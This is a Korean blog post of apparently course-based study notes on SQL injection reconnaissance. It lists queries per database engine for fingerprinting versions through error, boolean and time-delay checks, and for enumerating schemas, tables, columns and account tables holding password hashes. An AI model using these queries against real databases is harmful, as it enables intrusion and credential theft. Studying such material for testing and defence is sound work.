- DBMS는 용도와 목적에 따라 MySQL, MSSQL, Oracle, SQLite 등을 선택해 사용할 수 있는데, 이들은 모두 비슷한 쿼리 형태를 띄지만 각 시스템 별로 제공하는 함수가 다르다.
- SQL Injection 취약점을 발견하면 제일 먼저 DBMS의 종류와 버전을 알아내야 한다.
- 그 다음에는 정보가 포함된 테이블과 컬럼 명을 알아내야 한다.
1) DBMS 종류와 버전 알아내기
(1) MySQL
# 쿼리 실행 결과 출력 (ex) version: 8.0.27
mysql>
select @@version;
select version();
# 에러 메시지 출력
mysql> select 1 union select 1, 2;
# 참 또는 거짓 출력
mysql> select mid(@@version, 1, 1)='8'; # 결과 값 1
mysql> select mid(@@version, 1, 1)='7'; # 결과 값 0
# 예외 상황
mysql> select mid(@@version, 1, 1)='8' and sleep(2); # 2초 소요
mysql> select mid(@@version, 1, 1)='7' and sleep(2); # 0초 소요
(2) PostgreSQL
# 쿼리 실행 결과 출력
postgres=$ select version();
ex) PostgreSQL 14.11 (Debian 14.11-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
# 에러 메시지 출력
postgres=$ select 1 union select 1, 2;
# 참 또는 거짓 출력
postgres=$ select substr(version(), 1, 1)='P'; # 결과값 t(true)
postgres=$ select substr(version(), 1, 1)='S'; # 결과값 f(false)
(3) MSSQL
# 쿼리 실행 결과 출력
> select @@version;
/*
ex)
Microsoft SQL Server 2022 (RTM-CU12-GDR) (KB5036343) - 16.0.4120.1 (X64)
Mar 18 2024 12:02:14
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 22.04.4 LTS)
*/
# 에러 메시지 출력
> select 1 union select 1, 2;
# 참 또는 거짓 출력
> select 1 from test where substring(@@version, 1, 1)='M'; # 쿼리 반환
> select 1 from test where substring(@@version, 1, 1)='S'; # 쿼리 반환하지 않음
# 예외 상황
select '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5'; # 5초 소요
select '' if(substring(@@version, 1, 1)='S') waitfor delay '0:0:5'; # 0초 소요
(4) SQLite
# 쿼리 실행 결과 출력
sqlite> select sqlite_version(); # ex) 3.27.2
# 에러 메시지 출력
sqlite> select 1 union select 1, 2;
# 참 또는 거짓 출력
sqlite> select substr(sqlite_version(), 1, 1)='3'; # 1 반환
sqlite> select substr(sqlite_version(), 1, 1)='2'; # 2 반환
# 예외 상황
# 시간 지연 코드 발생
select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
# 1=1 식 실행
select case when substr(sqlite_version(), 1, 1)='2' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
2) 테이블과 컬럼 명 알아내기
(1) MySQL
# 시스템 테이블
mysql> show databases;
# 스키마 정보
mysql> select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
# 테이블 정보
mysql> select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
# 컬럼 정보
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
# 실시간 실행 쿼리 정보
mysql> select * from information_schema.PROCESSLIST;
mysql> select user,current_statement from sys.session;
# DBMS 계정 정보
mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
mysql> select User, authentication_string from mysql.user;
(2) MSSQL
# 시스템 테이블
SELECT name FROM sys.databases
# 데이터베이스 정보
SELECT name FROM master..sysdatabases; # master 데이터베이스의 sysdatabases 테이블
SELECT DB_NAME(1);
# 테이블 정보
SELECT name FROM master..sysobjects WHERE xtype = 'U'; # xtype='U'는 이용자 정의 테이블을 의미한다.
SELECT table_name FROM master.information_schema.tables;
# 컬럼 정보
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
SELECT table_name, column_name FROM dreamhack.information_schema.columns;
# DBMS 계정 정보
SELECT name, password_hash FROM master.sys.sql_logins;
SELECT * FROM master..syslogins;
(3) PostgreSQL
# 초기 데이터 베이스
postgres=$ select datname from pg_database;
# 스키마(카탈로그) 정보
postgres=$ select nspname from pg_catalog.pg_namespace;
# 테이블 정보
postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
postgres=$ select table_schema, table_name from information_schema.tables;
# 컬럼 정보
postgres=$ select table_schema, table_name, column_name from information_schema.columns;
# DBMS 계정 정보
postgres=$ select usename, passwd from pg_catalog.pg_shadow;
# DBMS 설정 정보
postgres=$ select name, setting from pg_catalog.pg_settings;
# 실시간 실행 쿼리 확인
postgres=$ select usename, query from pg_catalog.pg_stat_activity;
(4) Oracle
# 데이터베이스 정보
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables
# 컬럼 정보
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'
# DBMS 계정 정보
SELECT * FROM all_users
(5) SQLite
# 시스템 테이블
sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.
sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.
sqlite> select * from sqlite_master;
'프로그래밍 > 해킹' 카테고리의 다른 글
Exercise: SQL Injection Bypass WAF (0) | 2024.07.02 |
---|---|
Bypass WAF (0) | 2024.07.02 |
[WHA-S] Exercise: Blind SQL Injection Advanced (0) | 2024.06.30 |
해킹 공부할 때 참조하면 좋은 것 (0) | 2024.06.26 |
맥북 시스템 해킹(Pwnable, Reversing) 환경 구성 (0) | 2024.06.26 |